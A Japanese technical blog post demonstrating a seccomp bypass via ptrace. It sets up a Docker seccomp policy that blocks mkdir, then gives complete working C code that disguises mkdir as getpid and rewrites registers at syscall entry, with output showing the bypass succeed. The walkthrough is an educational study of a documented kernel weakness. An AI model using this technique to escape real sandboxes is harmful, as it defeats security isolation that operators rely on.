オススメ整体 or マッサージ情報を募集しています。
前回 は ptrace を使用して簡易的な strace を作成した。
同様にシステムコールの監視を行うものといえば seccomp だ。
seccomp によって特定のシステムコールは呼び出しが禁止されるが、ptrace によって回避することができる。
seccomp のドキュメント には次のような記述がある。
The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use this mechanism to escape.)
ptrace によるトレーサに通知される前(システムコールが呼び出されて実行される前)に seccomp フィルタが適用されるので、seccomp によって検査された後のレジスタを変更することで、制限されているシステムコールを呼び出すことができる。
特定のシステムコールを禁止した環境を作る
以下の seccomp ポリシーを Docker コンテナに適用する。
host:~ $ cat seccomp.json | jq
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "mkdir",
"action": "SCMP_ACT_ERRNO",
"args": []
}
]
}
host:~$ docker run -it --security-opt seccomp:seccomp.json centos:7 bash
これで mkdir(2)
は実行不可能となっていることが確認できる。
[root@d7799354119f tmp]# mkdir dir
mkdir: cannot create directory 'dir': Operation not permitted
ptrace による seccomp バイパスをやってみる
手順としては以下のようになる。
fork(2)
して子プロセスでmkdir(2)
を実行、親プロセスでptrace(2)
によるシステムコールの監視を行う- 単純に
mkdir(2)
しても seccomp によってシステムコールを発行できないので、偽の(例えばgetpid(2)
などを発行する getpid(2)
が発行されたことを検知したら、レジスタをmkdir(2)
を呼び出される状態に置き換える
1. ptrace によるシステムコールの監視
fork(2)
で子プロセスを作成した後に、ptrace(2)
の第一引数に PTRACE_TRACEME
を与えると親プロセスにトレースをさせることができる。
その後、一旦子プロセスを停止させる。
switch( (pid = fork()) ) {
case -1: die("Failed fork");
case 0:
// 親プロセスにトレースさせる
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
kill(getpid(), SIGSTOP);
親プロセスでは waitpid(2)
と ptrace(PTRACE_SYSCALL, pid, NULL, NULL)
を繰り返し実行していく。
PTRACE_SYSCALL
は停止した子プロセスを再開し、システムコールに入るかシステムコールから抜けるかする時に1命令実行した後に停止する。親プロセスから見ると、子プロセスは SIGTRAP を受信して停止したように見える。
そのため、一度目の停止で何のシステムコールが呼ばれ、どのような引数なのか、といったことを調べることができる。
この辺は man にざっくり書かれている。
2. 偽のシステムコールを発行する
子プロセス側で単純に mkdir(2)
を発行しても seccomp で防がれてしまう。そこで、制限がかけられていない偽のシステムコールを呼び出す。ここでは getpid(2)
とした。
syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく
getpid(2)
を直接使用するのではなく、 syscall
で呼び出しているのは、後に mkdir(2)
が呼びだされる状態のレジスタを作成しやすくするため。
3. mkdir(2)
を呼び出される状態のレジスタを作成する
seccomp を bypass するために、 getpid(2)
を mkdir(2)
に置き換える。
syscall(SYS_getpid, SYS_mkdir, "dir", 0777);
で呼び出されたときのレジスタの状態は以下のようになっている。
レジスタ | 値 | 備考 |
---|---|---|
orig_rax | 39 | getpid(2) のシステムコール番号。現在のシステムコール番号を示す |
rax | -38 | syscall-enter-stop であることを表す |
rdi | 83 | mkdir(2) のシステムコール番号 |
rsi | “dir” | mkdir(2) の第一引数 |
rdx | 0777 | mkdir(2) の第二引数 |
なお、それぞれのシステムコールが発行されるときの各レジスタが何なのかは以下にまとまっている。
rdi
を orig_rax
に代入、rdi
を rsi
に代入…とすることで mkdir(2)
を呼び出すときのレジスタの状態が完成する。
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
if (regs.orig_rax == SYS_getpid) {
regs.orig_rax = regs.rdi;
regs.rdi = regs.rsi;
regs.rsi = regs.rdx;
regs.rdx = regs.r10;
regs.r10 = regs.r8;
regs.r8 = regs.r9;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
}
最終的なコードは以下のようになる。
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/signal.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/fcntl.h>
#include <syscall.h>
void die (const char *msg)
{
perror(msg);
exit(errno);
}
void attack()
{
int rc;
// mkdir("dir", 0777);
syscall(SYS_getpid, SYS_mkdir, "dir", 0777); // 引数部分に SYS_mkdir とその引数を与えておく
}
int main()
{
int pid;
struct user_regs_struct regs;
switch( (pid = fork()) ) {
case -1: die("Failed fork");
case 0:
// 親プロセスにトレースさせる
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
kill(getpid(), SIGSTOP);
attack();
return 0;
}
waitpid(pid, 0, 0);
while(1) {
int st;
// 子プロセスを再開する
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
if (waitpid(pid, &st, __WALL) == -1) {
break;
}
if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {
break;
}
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
printf("orig_rax = %lld\n", regs.orig_rax);
// syscall-enter-stop であればスキップ
if (regs.rax != -ENOSYS) {
continue;
}
// レジスタの内容を変更してシステムコールを変更する
if (regs.orig_rax == SYS_getpid) {
regs.orig_rax = regs.rdi;
regs.rdi = regs.rsi;
regs.rsi = regs.rdx;
regs.rdx = regs.r10;
regs.r10 = regs.r8;
regs.r8 = regs.r9;
regs.r9 = 0;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
}
}
return 0;
}
コンパイルし、実行すると seccomp を bypass して dir
というディレクトリを作成できていることが確認できる。
[root@d7799354119f tmp]# ls
ks-script-Lu6hIQ yum.log
[root@d7799354119f tmp]# ./a.out
orig_rax = 39
orig_rax = 83
orig_rax = 231
[root@d75f3506a41d tmp]# ls
a.out dir ks-script-Lu6hIQ yum.log